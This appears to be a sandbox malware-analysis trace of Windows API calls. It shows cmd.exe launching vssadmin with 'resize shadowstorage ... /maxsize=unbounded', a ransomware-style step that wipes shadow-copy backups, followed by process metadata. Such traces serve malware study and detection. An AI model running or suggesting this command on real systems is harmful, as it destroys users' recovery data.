	[0071.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0071.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0071.107] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0071.107] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0071.107] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0071.108] GetProcessHeap () returned 0x34b0000
	[0071.108] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x0, Size=0x20c) returned 0x34b7860
	[0071.108] GetConsoleTitleW (in: lpConsoleTitle=0x34b7860, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0071.111] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0071.111] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0071.111] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0071.111] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0071.111] ??_V@YAXPAX@Z () returned 0x1
	[0071.112] GetProcessHeap () returned 0x34b0000
	[0071.112] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x400a) returned 0x34b8d60
	[0071.112] GetProcessHeap () returned 0x34b0000
	[0071.112] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b8d60) returned 1
	[0071.112] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0071.112] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0071.112] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0071.112] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0071.112] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0071.112] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0071.112] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0071.112] GetProcessHeap () returned 0x34b0000
	[0071.112] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x58) returned 0x34b7a78
	[0071.112] GetProcessHeap () returned 0x34b0000
	[0071.112] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x1a) returned 0x34b7ad8
	[0071.113] GetProcessHeap () returned 0x34b0000
	[0071.113] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x78) returned 0x34b7b00
	[0071.114] GetConsoleTitleW (in: lpConsoleTitle=0x313f9e8, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0071.114] malloc (_Size=0xffce) returned 0x3682638
	[0071.115] ??_V@YAXPAX@Z () returned 0x313f774
	[0071.115] malloc (_Size=0xffce) returned 0x3692610
	[0071.116] ??_V@YAXPAX@Z () returned 0x313f52c
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0071.116] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0071.117] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0071.118] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0071.119] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0071.119] ??_V@YAXPAX@Z () returned 0x1
	[0071.119] GetProcessHeap () returned 0x34b0000
	[0071.119] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xffd6) returned 0x34b8d60
	[0071.119] GetProcessHeap () returned 0x34b0000
	[0071.120] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x8a) returned 0x34b7b80
	[0071.120] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0071.120] malloc (_Size=0xffce) returned 0x3692610
	[0071.120] ??_V@YAXPAX@Z () returned 0x313f2ac
	[0071.120] GetProcessHeap () returned 0x34b0000
	[0071.120] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x1ffa4) returned 0x34c8d40
	[0071.125] SetErrorMode (uMode=0x0) returned 0x0
	[0071.125] SetErrorMode (uMode=0x1) returned 0x0
	[0071.125] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x34c8d48, lpFilePart=0x313f2cc | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x313f2cc*="Desktop") returned 0x17
	[0071.125] SetErrorMode (uMode=0x0) returned 0x1
	[0071.125] GetProcessHeap () returned 0x34b0000
	[0071.125] RtlReAllocateHeap (Heap=0x34b0000, Flags=0x0, Ptr=0x34c8d40, Size=0x4a) returned 0x34c8d40
	[0071.125] GetProcessHeap () returned 0x34b0000
	[0071.125] RtlSizeHeap (HeapHandle=0x34b0000, Flags=0x0, MemoryPointer=0x34c8d40) returned 0x4a
	[0071.125] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0071.125] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0071.126] GetProcessHeap () returned 0x34b0000
	[0071.126] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x1b4) returned 0x34b7c18
	[0071.126] GetProcessHeap () returned 0x34b0000
	[0071.126] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x360) returned 0x34b7dd8
	[0071.134] GetProcessHeap () returned 0x34b0000
	[0071.134] RtlReAllocateHeap (Heap=0x34b0000, Flags=0x0, Ptr=0x34b7dd8, Size=0x1b6) returned 0x34b7dd8
	[0071.134] GetProcessHeap () returned 0x34b0000
	[0071.134] RtlSizeHeap (HeapHandle=0x34b0000, Flags=0x0, MemoryPointer=0x34b7dd8) returned 0x1b6
	[0071.134] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0071.134] GetProcessHeap () returned 0x34b0000
	[0071.134] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xe0) returned 0x34b7f98
	[0071.135] GetProcessHeap () returned 0x34b0000
	[0071.135] RtlReAllocateHeap (Heap=0x34b0000, Flags=0x0, Ptr=0x34b7f98, Size=0x76) returned 0x34b7f98
	[0071.135] GetProcessHeap () returned 0x34b0000
	[0071.135] RtlSizeHeap (HeapHandle=0x34b0000, Flags=0x0, MemoryPointer=0x34b7f98) returned 0x76
	[0071.136] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0071.136] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x313f058, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x313f058) returned 0xffffffff
	[0071.136] GetLastError () returned 0x2
	[0071.136] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0071.136] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x313f058, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x313f058) returned 0xffffffff
	[0071.136] GetLastError () returned 0x2
	[0071.137] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0071.137] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x313f058, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x313f058) returned 0x34b8018
	[0071.137] GetProcessHeap () returned 0x34b0000
	[0071.137] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x0, Size=0x14) returned 0x34b8058
	[0071.137] FindClose (in: hFindFile=0x34b8018 | out: hFindFile=0x34b8018) returned 1
	[0071.137] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x313f058, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x313f058) returned 0xffffffff
	[0071.137] GetLastError () returned 0x2
	[0071.137] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x313f058, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x313f058) returned 0x34b8018
	[0071.137] GetProcessHeap () returned 0x34b0000
	[0071.137] RtlReAllocateHeap (Heap=0x34b0000, Flags=0x0, Ptr=0x34b8058, Size=0x4) returned 0x34b8058
	[0071.137] FindClose (in: hFindFile=0x34b8018 | out: hFindFile=0x34b8018) returned 1
	[0071.137] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0071.137] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0071.137] ??_V@YAXPAX@Z () returned 0x1
	[0071.137] GetConsoleTitleW (in: lpConsoleTitle=0x313f55c, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0071.138] InitializeProcThreadAttributeList (in: lpAttributeList=0x313f488, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x313f474 | out: lpAttributeList=0x313f488, lpSize=0x313f474) returned 1
	[0071.138] UpdateProcThreadAttribute (in: lpAttributeList=0x313f488, dwFlags=0x0, Attribute=0x60001, lpValue=0x313f470, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x313f488, lpPreviousValue=0x0) returned 1
	[0071.138] GetStartupInfoW (in: lpStartupInfo=0x313f4c0 | out: lpStartupInfo=0x313f4c0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0071.138] GetProcessHeap () returned 0x34b0000
	[0071.138] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x18) returned 0x34b8018
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0071.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0071.139] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0071.139] GetProcessHeap () returned 0x34b0000
	[0071.139] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b8018) returned 1
	[0071.139] GetProcessHeap () returned 0x34b0000
	[0071.139] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xa) returned 0x34b8018
	[0071.139] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0071.140] _get_osfhandle (_FileHandle=1) returned 0x90
	[0071.140] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0071.141] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0071.141] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0071.141] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=d: /on=d: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x313f410*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=d: /on=d: /maxsize=unbounded", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x313f45c | out: lpCommandLine="vssadmin  resize shadowstorage /for=d: /on=d: /maxsize=unbounded", lpProcessInformation=0x313f45c*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x122c, dwThreadId=0x1228)) returned 1
	[0071.165] CloseHandle (hObject=0xdc) returned 1
	[0071.165] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0071.165] GetProcessHeap () returned 0x34b0000
	[0071.165] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b6c58) returned 1
	[0071.165] GetEnvironmentStringsW () returned 0x34b6c58*
	[0071.165] GetProcessHeap () returned 0x34b0000
	[0071.165] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xb1a) returned 0x34b4bd0
	[0071.165] FreeEnvironmentStringsA (penv="=") returned 1
	[0071.165] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0071.506] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x313f3f4 | out: lpExitCode=0x313f3f4*=0x2) returned 1
	[0071.506] CloseHandle (hObject=0xe0) returned 1
	[0071.506] _vsnwprintf (in: _Buffer=0x313f4dc, _BufferCount=0x13, _Format="%08X", _ArgList=0x313f3fc | out: _Buffer="00000002") returned 8
	[0071.506] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0071.507] GetProcessHeap () returned 0x34b0000
	[0071.507] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b4bd0) returned 1
	[0071.507] GetEnvironmentStringsW () returned 0x34b8198*
	[0071.507] GetProcessHeap () returned 0x34b0000
	[0071.507] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xb40) returned 0x34b4bd0
	[0071.508] FreeEnvironmentStringsA (penv="=") returned 1
	[0071.508] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0071.508] GetProcessHeap () returned 0x34b0000
	[0071.508] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b4bd0) returned 1
	[0071.508] GetEnvironmentStringsW () returned 0x34b8198*
	[0071.508] GetProcessHeap () returned 0x34b0000
	[0071.508] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xb40) returned 0x34b4bd0
	[0071.508] FreeEnvironmentStringsA (penv="=") returned 1
	[0071.508] GetProcessHeap () returned 0x34b0000
	[0071.508] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b8018) returned 1
	[0071.508] DeleteProcThreadAttributeList (in: lpAttributeList=0x313f488 | out: lpAttributeList=0x313f488) 
	[0071.508] ??_V@YAXPAX@Z () returned 0x1
	[0071.508] _get_osfhandle (_FileHandle=1) returned 0x90
	[0071.508] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0071.515] _get_osfhandle (_FileHandle=1) returned 0x90
	[0071.515] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0071.534] _get_osfhandle (_FileHandle=1) returned 0x90
	[0071.534] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0071.540] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0071.540] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0071.545] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0071.545] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0071.554] SetConsoleInputExeNameW () returned 0x1
	[0071.554] GetConsoleOutputCP () returned 0x1b5
	[0071.567] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0071.567] SetThreadUILanguage (LangId=0x0) returned 0x2f30409
	[0071.570] exit (_Code=2) 
	[0071.571] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 49
	os_tid = 0x1224


Process:
	id = "15"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xb712000"
	os_pid = "0x37c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0x136c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 46
	os_tid = 0x12b8


Thread:
	id = 47
	os_tid = 0x1220


Thread:
	id = 48
	os_tid = 0x10e4


Process:
	id = "16"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x1b027000"
	os_pid = "0x122c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0x136c"
	cmd_line = "vssadmin  resize shadowstorage /for=d: /on=d: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 50
	os_tid = 0x1228


Thread:
	id = 51
	os_tid = 0x360


Thread:
	id = 52
	os_tid = 0xc7c


Thread:
	id = 53
	os_tid = 0x504


Thread:
	id = 54
	os_tid = 0x4f0


Process:
	id = "17"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x1ae03000"
	os_pid = "0x35c"
